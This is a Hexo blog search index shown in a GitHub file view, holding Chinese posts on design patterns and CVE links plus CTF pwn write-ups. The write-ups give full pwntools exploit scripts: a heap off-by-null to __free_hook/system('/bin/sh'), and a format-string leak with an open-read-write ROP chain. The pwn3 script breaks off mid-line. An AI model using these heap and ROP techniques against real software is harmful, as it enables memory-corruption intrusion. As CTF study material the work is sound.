-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
840 lines (395 loc) · 754 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>尝试用一波CodeQL</title>
<link href="/2021/06/21/%E5%B0%9D%E8%AF%95%E7%94%A8%E4%B8%80%E6%B3%A2CodeQL/"/>
<url>/2021/06/21/%E5%B0%9D%E8%AF%95%E7%94%A8%E4%B8%80%E6%B3%A2CodeQL/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>Afl源码阅读笔记</title>
<link href="/2021/06/17/afl%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/"/>
<url>/2021/06/17/afl%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[]]></content>
<tags>
<tag> fuzz </tag>
</tags>
</entry>
<entry>
<title>设计模式学习</title>
<link href="/2021/06/17/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0/"/>
<url>/2021/06/17/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>设计模式说白了就是如何设计一个软件的代码结构, 因为本科是网络工程的原因, 没学过设计模式, 在之后的日常开发中发现对一个软件开发总是没有什么目标, 一切指导思想都是”跑起来再说”, 后面发现各种功能设计都不太合理, 因此决定深入学习一下设计模式, 未来可能还会学习一波软件工程.</p><p>设计模式分为三大类:</p><ol><li>创建型模式: 提供创建对象的机制, 增加已有代码的灵活性和可复用性.</li><li>结构型模式: 介绍如何将对象和类组装成较大的结构, 并同时保持结构的灵活和高效</li><li>行为模式: 负责对象间的高效沟通和职责委派</li></ol><h2 id="创建型模式"><a href="#创建型模式" class="headerlink" title="创建型模式"></a>创建型模式</h2><h3 id="工厂方法"><a href="#工厂方法" class="headerlink" title="工厂方法"></a>工厂方法</h3><p>在父类中提供一个创建对象的方法, 允许子类决定实例化对象的类型.</p><blockquote><p>问题</p></blockquote><p>开发一个物流应用, 最初只有卡车运输, 所以大部分代码在<code>卡车</code>类里, 接下来需要接入<code>轮船</code>, <code>飞机</code>等功能</p><blockquote><p>解决方案</p></blockquote><p>设计一个工厂方法</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://refactoringguru.cn/design-patterns">https://refactoringguru.cn/design-patterns</a></p>]]></content>
<tags>
<tag> basic </tag>
<tag> programming </tag>
</tags>
</entry>
<entry>
<title>CVE-2021-26708</title>
<link href="/2021/06/15/CVE-2021-26708/"/>
<url>/2021/06/15/CVE-2021-26708/</url>
<content type="html"><![CDATA[<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html">https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html</a><br><a href="https://www.venustech.com.cn/new_type/aqldfx/20210310/22463.html">https://www.venustech.com.cn/new_type/aqldfx/20210310/22463.html</a></p>]]></content>
<tags>
<tag> cve </tag>
<tag> linux </tag>
</tags>
</entry>
<entry>
<title>Qwb2021 Pwn</title>
<link href="/2021/06/13/qwb2021-pwn/"/>
<url>/2021/06/13/qwb2021-pwn/</url>
<content type="html"><![CDATA[<h2 id="baby-diary"><a href="#baby-diary" class="headerlink" title="baby diary"></a>baby diary</h2><p>菜单题, 提供了write, read和delete功能, 漏洞点位于write功能里, 在malloc一个任意大小的chunk后, 输入结束会在输入的下一个位置补一个值, 造成off by null, 我们可以控制半个字节, 所以只能控制prev_inuse, 然后就是堆风水来布局搞重叠堆块.</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.adb.adb <span class="keyword">import</span> interactive</span><br><span class="line"><span class="keyword">from</span> pwnlib.term.term <span class="keyword">import</span> flush, put</span><br><span class="line"><span class="keyword">from</span> pwnlib.ui <span class="keyword">import</span> pause</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line">filename = <span class="string">'baby_diary'</span></span><br><span class="line">libcname = <span class="string">'libc-2.31.so'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line">debugger = <span class="string">'pwndbg'</span></span><br><span class="line">path = os.path.dirname(os.path.realpath(__file__))</span><br><span class="line">file = ELF(path + <span class="string">'/'</span> + filename)</span><br><span class="line">libc = ELF(path + <span class="string">'/'</span> + libcname)</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line">DEBUG = <span class="literal">True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> context.terminal = [<span class="string">'terminator'</span>, <span class="string">'-x'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line"> debug_command = <span class="string">''</span></span><br><span class="line"> debug_command += <span class="string">''</span></span><br><span class="line"> io = gdb.debug(path + <span class="string">'/'</span> + filename, debug_command)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># context.log_level = 'debug'</span></span><br><span class="line"> io = remote(<span class="string">'chall.pwnable.tw'</span>, <span class="number">10103</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">p</span><span class="params">()</span>:</span></span><br><span class="line"> info(<span class="string">"PID:"</span> + str(proc.pidof(io)))</span><br><span class="line"> pause()</span><br><span class="line"></span><br><span class="line">lg = <span class="keyword">lambda</span> name,data : p.success(name + <span class="string">": 0x%x"</span> % data)</span><br><span class="line">l64 = <span class="keyword">lambda</span> :u64(p.recvuntil(<span class="string">"\x7f"</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>,<span class="string">"\x00"</span>))</span><br><span class="line">l32 = <span class="keyword">lambda</span> :u32(p.recvuntil(<span class="string">"\xf7"</span>)[<span class="number">-4</span>:].ljust(<span class="number">4</span>,<span class="string">"\x00"</span>))</span><br><span class="line">ru = <span class="keyword">lambda</span> x : io.recvuntil(x)</span><br><span class="line">sn = <span class="keyword">lambda</span> x : io.send(x)</span><br><span class="line">rl = <span class="keyword">lambda</span> : io.recvline()</span><br><span class="line">sl = <span class="keyword">lambda</span> x : io.sendline(x)</span><br><span class="line">rv = <span class="keyword">lambda</span> x : io.recv(x)</span><br><span class="line">sa = <span class="keyword">lambda</span> a,b : io.sendafter(a,b)</span><br><span class="line">sla = <span class="keyword">lambda</span> a,b : io.sendlineafter(a,b)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write</span><span class="params">(size, content)</span>:</span></span><br><span class="line"> sla(<span class="string">'>> '</span>, <span class="string">'1'</span>)</span><br><span class="line"> sla(<span class="string">'size: '</span>, str(size))</span><br><span class="line"> sla(<span class="string">'content: '</span>, content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read</span><span class="params">(index)</span>:</span></span><br><span class="line"> sla(<span class="string">'>> '</span>, <span class="string">'2'</span>)</span><br><span class="line"> sla(<span class="string">'index: '</span>, str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(index)</span>:</span></span><br><span class="line"> sla(<span class="string">'>> '</span>, <span class="string">'3'</span>)</span><br><span class="line"> sla(<span class="string">'index: '</span>, str(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 0-6, 等下用来填tcache</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line"> write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">'chunk_'</span> + str(i))</span><br><span class="line"></span><br><span class="line">write(<span class="number">0x98</span> - <span class="number">1</span>, <span class="string">"chunk_7"</span>) <span class="comment"># 7 调整堆地址, 让下一个堆块地址为 0x???????? ??????00</span></span><br><span class="line">write(<span class="number">0xb40</span>, <span class="string">"chunk_8"</span>) <span class="comment"># 8 分配一个大chunk</span></span><br><span class="line">write(<span class="number">0x10</span>, <span class="string">"chunk_9"</span>) <span class="comment"># 9 防止合并</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">8</span>) <span class="comment"># 会被放入unsorted bin</span></span><br><span class="line"></span><br><span class="line">write(<span class="number">0x1000</span>, <span class="string">"chunk_8"</span>) <span class="comment"># 8 使前面释放的unsorted bin放入large bin</span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_10"</span>) <span class="comment"># 10 从large bin中分割一个chunk出来, 里面残留了libc信息和堆地址, 剩下的chunk会放入unsorted bin</span></span><br><span class="line"></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_11"</span>) <span class="comment"># 11 准备一些chunk后面用</span></span><br><span class="line">write(<span class="number">0x80</span>, <span class="string">"chunk_12"</span>) <span class="comment"># 12 这些chunk都是从之前free的0xb40大小的chunk中分割出来的</span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_13"</span>) <span class="comment"># 13 </span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_14"</span>) <span class="comment"># 14 </span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_15"</span>) <span class="comment"># 15 </span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_16"</span>) <span class="comment"># 16 </span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 填满tcache</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line"> delete(i)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">15</span>) <span class="comment"># 释放15和13号chunk, 由于tcache被填满, 这两个chunk会放在fastbins</span></span><br><span class="line">delete(<span class="number">13</span>) <span class="comment"># 此时chunk_13 -> chunk_15 -> fastbins</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 清空tcache</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line"> write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">'chunk_'</span> + str(i))</span><br><span class="line"></span><br><span class="line">write(<span class="number">0x420</span>, <span class="string">"chunk_13"</span>) <span class="comment"># 13 申请一个大chunk, 从之前放在unsorted bin的chunk上分割</span></span><br><span class="line"> <span class="comment"># 而之前在fastbin中的chunk会被放到small bin</span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, p64(<span class="number">0x50</span>)) <span class="comment"># 15 把small bin中的chunk malloc下来, 另一个chunk则会被放进tcache</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">delete(<span class="number">10</span>) <span class="comment"># </span></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">b'\x00'</span> * <span class="number">7</span> + <span class="string">b'\x03'</span> + p64(<span class="number">0x201</span>)) <span class="comment"># 10 伪造一个chunk, 残留的堆地址被改为0x???????600</span></span><br><span class="line"></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">"chunk_17"</span>) <span class="comment"># 17 申请另一个small bin</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 填tcache</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line"> delete(i)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">11</span>) <span class="comment">#</span></span><br><span class="line">delete(<span class="number">10</span>) <span class="comment"># </span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 清空tcache</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">7</span>):</span><br><span class="line"> write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">'chunk_'</span> + str(i))</span><br><span class="line"></span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">''</span>) <span class="comment"># 10</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">16</span>)</span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">'\x00'</span> * <span class="number">0x37</span>) <span class="comment"># 16 修改prev_inuse</span></span><br><span class="line">delete(<span class="number">11</span>)</span><br><span class="line">write(<span class="number">0x38</span> - <span class="number">1</span>, <span class="string">'\x00'</span> * <span class="number">0x2f</span> + <span class="string">'\x20'</span>) <span class="comment"># 16 修改prev_size</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">13</span>)</span><br><span class="line"></span><br><span class="line">write(<span class="number">0x30</span>, <span class="string">'chunk_11'</span>) <span class="comment"># 11</span></span><br><span class="line">write(<span class="number">0x20</span>, <span class="string">'chunk_18'</span>) <span class="comment"># 18</span></span><br><span class="line">write(<span class="number">0x30</span>, <span class="string">'chunk_19'</span>) <span class="comment"># 19</span></span><br><span class="line"></span><br><span class="line">read(<span class="number">12</span>)</span><br><span class="line"></span><br><span class="line">libc_base = u64(ru(<span class="string">b'\x7f'</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>)) - <span class="number">0x1ebbe0</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">17</span>)</span><br><span class="line">delete(<span class="number">15</span>)</span><br><span class="line"></span><br><span class="line">sysaddr = <span class="number">0x55410</span> + libc_base</span><br><span class="line">freehook = <span class="number">0x1eeb28</span> + libc_base</span><br><span class="line"></span><br><span class="line">write(<span class="number">0xa0</span>, <span class="string">b'\x00'</span> * <span class="number">0x88</span> + p64(<span class="number">0x41</span>) + p64(freehook)) <span class="comment"># 15</span></span><br><span class="line">write(<span class="number">0x30</span>, <span class="string">'/bin/sh\x00'</span>) <span class="comment"># 17</span></span><br><span class="line">write(<span class="number">0x30</span>, p64(sysaddr)) <span class="comment"># 20</span></span><br><span class="line">delete(<span class="number">17</span>) <span class="comment"># </span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://mp.weixin.qq.com/s/FfmHF_yZfJY7o9C7W8JCJA">https://mp.weixin.qq.com/s/FfmHF_yZfJY7o9C7W8JCJA</a><br><a href="https://mp.weixin.qq.com/s/WFF5Fp7xjwFuW3X-4V8rYw">https://mp.weixin.qq.com/s/WFF5Fp7xjwFuW3X-4V8rYw</a></p>]]></content>
<tags>
<tag> pwn </tag>
</tags>
</entry>
<entry>
<title>算法学习笔记</title>
<link href="/2021/06/10/%E7%AE%97%E6%B3%95%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
<url>/2021/06/10/%E7%AE%97%E6%B3%95%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://mp.weixin.qq.com/s?__biz=MzU4NDE3MTEyMA==&mid=2247485037&idx=1&sn=d6d52c48600e655161e84f25d3402514&chksm=fd9cad72caeb2464e1d8adcd991ec178001472a6c6ddc02a1764bc74ea27a97f71fddbce9975&scene=178&cur_album_id=1773144264147812354#rd">https://mp.weixin.qq.com/s?__biz=MzU4NDE3MTEyMA==&mid=2247485037&idx=1&sn=d6d52c48600e655161e84f25d3402514&chksm=fd9cad72caeb2464e1d8adcd991ec178001472a6c6ddc02a1764bc74ea27a97f71fddbce9975&scene=178&cur_album_id=1773144264147812354#rd</a><br><a href="https://mp.weixin.qq.com/s/xmgK7SrTnFIM3Owpk-emmg">https://mp.weixin.qq.com/s/xmgK7SrTnFIM3Owpk-emmg</a><br><a href="https://leetcode-cn.com/problems/partition-equal-subset-sum/solution/gong-shui-san-xie-bei-bao-wen-ti-shang-r-ln14/">https://leetcode-cn.com/problems/partition-equal-subset-sum/solution/gong-shui-san-xie-bei-bao-wen-ti-shang-r-ln14/</a><br><a href="https://leetcode-cn.com/problems/coin-change-2/solution/gong-shui-san-xie-xiang-jie-wan-quan-bei-6hxv/">https://leetcode-cn.com/problems/coin-change-2/solution/gong-shui-san-xie-xiang-jie-wan-quan-bei-6hxv/</a></p>]]></content>
<tags>
<tag> algorithm </tag>
</tags>
</entry>
<entry>
<title>Pwnhub六一公开赛</title>
<link href="/2021/06/01/pwnhub%E5%85%AD%E4%B8%80%E5%85%AC%E5%BC%80%E8%B5%9B/"/>
<url>/2021/06/01/pwnhub%E5%85%AD%E4%B8%80%E5%85%AC%E5%BC%80%E8%B5%9B/</url>
<content type="html"><![CDATA[<h2 id="pwn1"><a href="#pwn1" class="headerlink" title="pwn1"></a>pwn1</h2><p>选项5里给了一个格式化字符串, 选项6里给了一个栈溢出, 由于防护全开且开了seccomp, 禁用了execve, 所以我们先malloc两个chunk, free前一个然后读, 拿到main_arena+96的地址, 得到libc版本是2.31, 以及libc地址, 然后用格式化字符串leak canary和程序加载地址, 最后通过ROP搞一下orw把flag写在程序bss段并读取(其实这里可以写在libc)</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.ui <span class="keyword">import</span> pause</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line"><span class="comment"># DEBUG = True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> r = process(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/pwn1'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> r = remote(<span class="string">'106.75.105.53'</span>, <span class="number">10001</span>)</span><br><span class="line"><span class="comment"># leak canary</span></span><br><span class="line">r.sendlineafter(<span class="string">'cxxh:'</span>, <span class="string">'1'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'summon?\n'</span>, <span class="string">'0'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'Weight?\n'</span>, str(<span class="number">0x420</span>))</span><br><span class="line">r.sendlineafter(<span class="string">'slayer.\n'</span>, <span class="string">'AAAA'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'weapon?\n'</span>, <span class="string">'%7$p%9$p'</span>)</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'cxxh:'</span>, <span class="string">'1'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'summon?\n'</span>, <span class="string">'1'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'Weight?\n'</span>, str(<span class="number">0x200</span>))</span><br><span class="line">r.sendlineafter(<span class="string">'slayer.\n'</span>, <span class="string">'BBBB'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'weapon?\n'</span>, <span class="string">'/flag'</span>)</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'cxxh:'</span>, <span class="string">'1'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'summon?\n'</span>, <span class="string">'2'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'Weight?\n'</span>, str(<span class="number">0x420</span>))</span><br><span class="line">r.sendlineafter(<span class="string">'slayer.\n'</span>, <span class="string">'CCCC'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'weapon?\n'</span>, <span class="string">'xiai'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'cxxh:'</span>, <span class="string">'3'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'wounded?\n'</span>, <span class="string">'0'</span>)</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'cxxh:'</span>, <span class="string">'5'</span>)</span><br><span class="line"><span class="comment"># pause()</span></span><br><span class="line">r.sendlineafter(<span class="string">'know?\n'</span>, <span class="string">'0'</span>)</span><br><span class="line">libc_base = u64(r.recvuntil(<span class="string">','</span>)[:<span class="number">-1</span>].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>)) - <span class="number">96</span> - <span class="number">0x10</span> - <span class="number">0x00000000001ebb70</span></span><br><span class="line">r.recvuntil(<span class="string">'weapon0x'</span>)</span><br><span class="line"><span class="comment"># pause()</span></span><br><span class="line">canary = int(<span class="string">'0x'</span> + r.recv(<span class="number">18</span>).decode(<span class="string">'utf-8'</span>)[:<span class="number">-2</span>], <span class="number">16</span>)</span><br><span class="line">program_base = int(r.recvuntil(<span class="string">'cx'</span>).decode(<span class="string">'utf-8'</span>)[:<span class="number">-2</span>], <span class="number">16</span>) - <span class="number">0x209d</span></span><br><span class="line">info(<span class="string">'canary: '</span> + hex(canary))</span><br><span class="line">info(<span class="string">'libc base: '</span> + hex(libc_base))</span><br><span class="line">info(<span class="string">'proogram base: '</span> + hex(program_base))</span><br><span class="line"></span><br><span class="line"><span class="comment"># stack overflow</span></span><br><span class="line">r.sendlineafter(<span class="string">'xh:'</span>, <span class="string">'6'</span>)</span><br><span class="line">r.sendlineafter(<span class="string">'it?\n'</span>, <span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">flag_path = program_base + <span class="number">0x50e0</span></span><br><span class="line"></span><br><span class="line">pop_rdi = libc_base + <span class="number">0x0000000000026b72</span></span><br><span class="line">pop_rsi = libc_base + <span class="number">0x0000000000027529</span></span><br><span class="line">pop_rdx_r12 = libc_base + <span class="number">0x000000000011c371</span></span><br><span class="line"></span><br><span class="line">open_fun = libc_base + <span class="number">0x0000000000110e50</span></span><br><span class="line">read_fun = libc_base + <span class="number">0x0000000000111130</span></span><br><span class="line">write_fun = libc_base + <span class="number">0x00000000001111d0</span></span><br><span class="line"></span><br><span class="line">ROPChains = <span class="string">b''</span></span><br><span class="line">ROPChains += p64(pop_rdi) + p64(flag_path) </span><br><span class="line">ROPChains += p64(pop_rsi) + p64(<span class="number">0</span>)</span><br><span class="line">ROPChains += p64(open_fun)</span><br><span class="line"></span><br><span class="line">ROPChains += p64(pop_rdi) + p64(<span class="number">3</span>) </span><br><span class="line">ROPChains += p64(pop_rsi) + p64(flag_path)</span><br><span class="line">ROPChains += p64(pop_rdx_r12) + p64(<span class="number">50</span>) + p64(<span class="number">0</span>)</span><br><span class="line">ROPChains += p64(read_fun)</span><br><span class="line"></span><br><span class="line">ROPChains += p64(pop_rdi) + p64(<span class="number">1</span>) </span><br><span class="line">ROPChains += p64(pop_rsi) + p64(flag_path)</span><br><span class="line">ROPChains += p64(pop_rdx_r12) + p64(<span class="number">50</span>) + p64(<span class="number">0</span>)</span><br><span class="line">ROPChains += p64(write_fun)</span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">r.sendlineafter(<span class="string">'flowers!!!!\n'</span>, <span class="string">b'A'</span>*<span class="number">0x28</span> + p64(canary) + <span class="string">b'B'</span>*<span class="number">0x08</span> + ROPChains)</span><br><span class="line">r.interactive()</span><br><span class="line"></span><br><span class="line"><span class="comment"># flag{59881df6-43f2-45ca-b49c-e21a155da095}</span></span><br></pre></td></tr></table></figure><h2 id="pwn2"><a href="#pwn2" class="headerlink" title="pwn2"></a>pwn2</h2><p>看起来好复杂, 鸽了</p><h2 id="pwn3"><a href="#pwn3" class="headerlink" title="pwn3"></a>pwn3</h2><p>两个字节的堆溢出, 可以改到<code>size</code>, 造成重叠堆块, 之后释放这个大堆块, 修改下一个被释放的<code>tcache</code>堆块的<code>next</code>指针, 进而修改<code>tcache_entry</code>, 伪造堆块在<code>got</code>上来leak</p><p>一开始计划劫持<code>free</code>成<code>puts</code>, 然而由于<code>tcache</code>机制, 在<code>malloc</code>后会在把<code>malloc目标地址+8</code>的内存清空, 导致puts的got被清空, 在劫持之前会调用一次puts导致程序崩溃, 所以最后选择劫持<code>strtol</code>函数, 成功leak到了libc地址</p><p>然而之后的getshell需要再劫持一次got, 所以一开始应该修改两个tcache链的tcache_entry, 用第一个tcache链leak libc, 用第二个来getshell</p><p>由于我们只能在malloc后写入got, 所以第二个需要在leak完libc才能malloc, 这就要求我们保证strtol, malloc, read等函数的正常, 所以最后选择劫持strtol函数为printf函数, 然后利用printf函数可以控制返回值的特点来当成strtol函数使用</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> Pattern</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwnlib.adb.adb <span class="keyword">import</span> interactive</span><br><span class="line"><span class="keyword">from</span> pwnlib.term.term <span class="keyword">import</span> flush, put</span><br><span class="line"><span class="keyword">from</span> pwnlib.ui <span class="keyword">import</span> pause</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">DEBUG = <span class="literal">False</span></span><br><span class="line"><span class="comment"># DEBUG = True</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> context.log_level = <span class="string">'debug'</span></span><br><span class="line"> r = process(os.path.dirname(os.path.realpath(__file__)) + <span class="string">'/pwn3'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># context.log_level = 'debug'</span></span><br><span class="line"> r = remote(<span class="string">'106.75.105.53'</span>, <span class="number">10003</span>)</span><br><span class="line">flush()</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">p</span><span class="params">()</span>:</span></span><br><span class="line"> info(<span class="string">"PID:"</span> + str(proc.pidof(r)))</span><br><span class="line"> pause()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(index, size, content)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">b'choice?\n'</span>, <span class="string">'1'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">b'?\n'</span>, str(index))</span><br><span class="line"> r.sendline(str(size) + <span class="string">'\n'</span>)</span><br><span class="line"> r.sendlineafter(<span class="string">b'content:\n'</span>, content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(index)</span>:</span></span><br><span class="line"> r.sendlineafter(<span class="string">b'choice?\n'</span>, <span class="string">'2'</span>)</span><br><span 